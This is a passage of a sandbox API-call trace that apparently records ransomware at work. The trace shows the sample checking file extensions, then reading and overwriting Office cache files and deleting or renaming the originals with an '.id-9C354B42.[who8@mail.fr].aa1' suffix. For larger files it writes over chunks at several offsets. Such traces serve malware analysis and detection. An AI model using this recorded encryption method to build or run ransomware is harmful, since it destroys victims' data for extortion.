lpString2=".exe") returned 1 [0221.731] lstrlenW (lpString=".rar") returned 4 [0221.731] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0221.731] lstrlenW (lpString=".bz2") returned 4 [0221.731] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0221.731] lstrlenW (lpString=".7z") returned 3 [0221.731] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0221.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0221.731] lstrlenW (lpString=".dbf") returned 4 [0221.732] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0221.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0221.732] lstrlenW (lpString=".1cd") returned 4 [0221.732] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0221.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0221.732] lstrlenW (lpString=".jpg") returned 4 [0221.732] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0221.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0221.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0221.732] lstrlenW (lpString=".doc") returned 4 [0221.732] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0221.732] lstrlenW (lpString=".docx") returned 5 [0221.732] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0221.732] lstrlenW (lpString=".pdf") returned 4 [0221.732] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0221.732] lstrlenW (lpString=".xls") returned 4 [0221.732] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0221.732] lstrlenW (lpString=".xlsx") returned 5 [0221.732] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0221.732] lstrlenW (lpString=".ppt") returned 4 [0221.732] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0221.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0221.732] lstrlenW (lpString=".zip") returned 4 [0221.732] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0221.732] lstrlenW (lpString=".rar") returned 4 [0221.732] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0221.732] lstrlenW (lpString=".bz2") returned 4 [0221.732] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0221.733] lstrlenW (lpString=".7z") returned 3 [0221.733] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0221.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0221.733] lstrlenW (lpString=".dbf") returned 4 [0221.733] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0221.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0221.733] lstrlenW (lpString=".1cd") returned 4 [0221.733] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0221.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0221.733] lstrlenW (lpString=".jpg") returned 4 [0221.733] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0221.733] lstrcmpiW (lpString1=".exe", lpString2=".aa1") returned 1 [0221.733] lstrlenW (lpString="ose.exe") returned 7 [0221.733] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0221.741] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=174440) returned 1 [0221.741] CloseHandle (hObject=0x17c) returned 1 [0221.741] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0221.741] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.741] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0221.741] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.741] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.741] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.741] GetLastError () returned 0x0 [0221.742] ReadFile (in: hFile=0x17c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0221.834] WriteFile (in: hFile=0x218, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0221.840] ReadFile (in: hFile=0x17c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.841] WriteFile (in: hFile=0x218, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0221.841] SetEndOfFile (hFile=0x218) returned 1 [0221.841] CloseHandle (hObject=0x218) returned 1 [0221.841] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.841] SetEndOfFile (hFile=0x17c) returned 1 [0221.845] CloseHandle (hObject=0x17c) returned 1 [0221.845] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0221.846] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0221.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0221.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0221.846] lstrlenW (lpString=".doc") returned 4 [0221.846] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0221.846] lstrlenW (lpString=".docx") returned 5 [0221.846] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0221.846] lstrlenW (lpString=".pdf") returned 4 [0221.846] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0221.846] lstrlenW (lpString=".xls") returned 4 [0221.846] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0221.846] lstrlenW (lpString=".xlsx") returned 5 [0221.846] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0221.846] lstrlenW (lpString=".ppt") returned 4 [0221.846] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0221.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0221.846] lstrlenW (lpString=".zip") returned 4 [0221.846] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0221.846] lstrlenW (lpString=".rar") returned 4 [0221.846] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0221.846] lstrlenW (lpString=".bz2") returned 4 [0221.846] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0221.846] lstrlenW (lpString=".7z") returned 3 [0221.846] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0221.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0221.846] lstrlenW (lpString=".dbf") returned 4 [0221.846] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0221.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0221.848] lstrlenW (lpString=".1cd") returned 4 [0221.848] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0221.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0221.848] lstrlenW (lpString=".jpg") returned 4 [0221.848] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0221.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0221.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0221.849] lstrlenW (lpString=".doc") returned 4 [0221.849] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0221.849] lstrlenW (lpString=".docx") returned 5 [0221.849] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0221.849] lstrlenW (lpString=".pdf") returned 4 [0221.849] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0221.849] lstrlenW (lpString=".xls") returned 4 [0221.849] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0221.849] lstrlenW (lpString=".xlsx") returned 5 [0221.849] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0221.849] lstrlenW (lpString=".ppt") returned 4 [0221.849] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0221.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0221.849] lstrlenW (lpString=".zip") returned 4 [0221.849] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0221.849] lstrlenW (lpString=".rar") returned 4 [0221.849] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0221.849] lstrlenW (lpString=".bz2") returned 4 [0221.849] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0221.849] lstrlenW (lpString=".7z") returned 3 [0221.849] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0221.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0221.849] lstrlenW (lpString=".dbf") returned 4 [0221.849] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0221.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0221.849] lstrlenW (lpString=".1cd") returned 4 [0221.849] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0221.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0221.849] lstrlenW (lpString=".jpg") returned 4 [0221.849] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0221.849] lstrcmpiW (lpString1=".dll", lpString2=".aa1") returned 1 [0221.850] lstrlenW (lpString="osetup.dll") returned 10 [0221.850] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0221.850] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=7378792) returned 1 [0221.850] CloseHandle (hObject=0x17c) returned 1 [0221.850] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0221.851] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.851] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0221.851] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0221.851] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0221.851] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.851] ReadFile (in: hFile=0x17c, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.950] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.950] ReadFile (in: hFile=0x17c, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.969] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0221.969] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.969] ReadFile (in: hFile=0x17c, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.059] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.059] WriteFile (in: hFile=0x17c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0222.156] SetEndOfFile (hFile=0x17c) returned 1 [0222.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f32900 [0222.161] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.161] WriteFile (in: hFile=0x17c, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.162] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.162] WriteFile (in: hFile=0x17c, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.165] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.165] WriteFile (in: hFile=0x17c, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f32900 | out: hHeap=0x4f0000) returned 1 [0222.167] CloseHandle (hObject=0x17c) returned 1 [0222.167] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0222.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0222.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0222.167] lstrlenW (lpString=".doc") returned 4 [0222.167] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0222.167] lstrlenW (lpString=".docx") returned 5 [0222.167] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0222.167] lstrlenW (lpString=".pdf") returned 4 [0222.167] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0222.167] lstrlenW (lpString=".xls") returned 4 [0222.167] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0222.167] lstrlenW (lpString=".xlsx") returned 5 [0222.167] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0222.167] lstrlenW (lpString=".ppt") returned 4 [0222.167] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0222.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0222.168] lstrlenW (lpString=".zip") returned 4 [0222.168] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0222.168] lstrlenW (lpString=".rar") returned 4 [0222.168] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0222.168] lstrlenW (lpString=".bz2") returned 4 [0222.168] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0222.168] lstrlenW (lpString=".7z") returned 3 [0222.168] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0222.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0222.168] lstrlenW (lpString=".dbf") returned 4 [0222.168] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0222.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0222.168] lstrlenW (lpString=".1cd") returned 4 [0222.168] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0222.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0222.168] lstrlenW (lpString=".jpg") returned 4 [0222.168] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0222.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0222.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0222.168] lstrlenW (lpString=".doc") returned 4 [0222.168] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0222.168] lstrlenW (lpString=".docx") returned 5 [0222.168] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0222.168] lstrlenW (lpString=".pdf") returned 4 [0222.168] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0222.168] lstrlenW (lpString=".xls") returned 4 [0222.168] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0222.168] lstrlenW (lpString=".xlsx") returned 5 [0222.169] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0222.169] lstrlenW (lpString=".ppt") returned 4 [0222.169] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0222.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0222.169] lstrlenW (lpString=".zip") returned 4 [0222.169] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0222.169] lstrlenW (lpString=".rar") returned 4 [0222.169] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0222.169] lstrlenW (lpString=".bz2") returned 4 [0222.169] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0222.169] lstrlenW (lpString=".7z") returned 3 [0222.169] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0222.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0222.169] lstrlenW (lpString=".dbf") returned 4 [0222.169] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0222.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0222.169] lstrlenW (lpString=".1cd") returned 4 [0222.169] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0222.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0222.170] lstrlenW (lpString=".jpg") returned 4 [0222.170] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0222.170] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0222.170] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0222.170] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0222.173] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=36233052) returned 1 [0222.173] CloseHandle (hObject=0x17c) returned 1 [0222.173] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0222.173] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.173] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0222.175] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0222.175] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0222.175] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.175] ReadFile (in: hFile=0x17c, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.238] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.238] ReadFile (in: hFile=0x17c, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.272] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0222.272] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.272] ReadFile (in: hFile=0x17c, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: 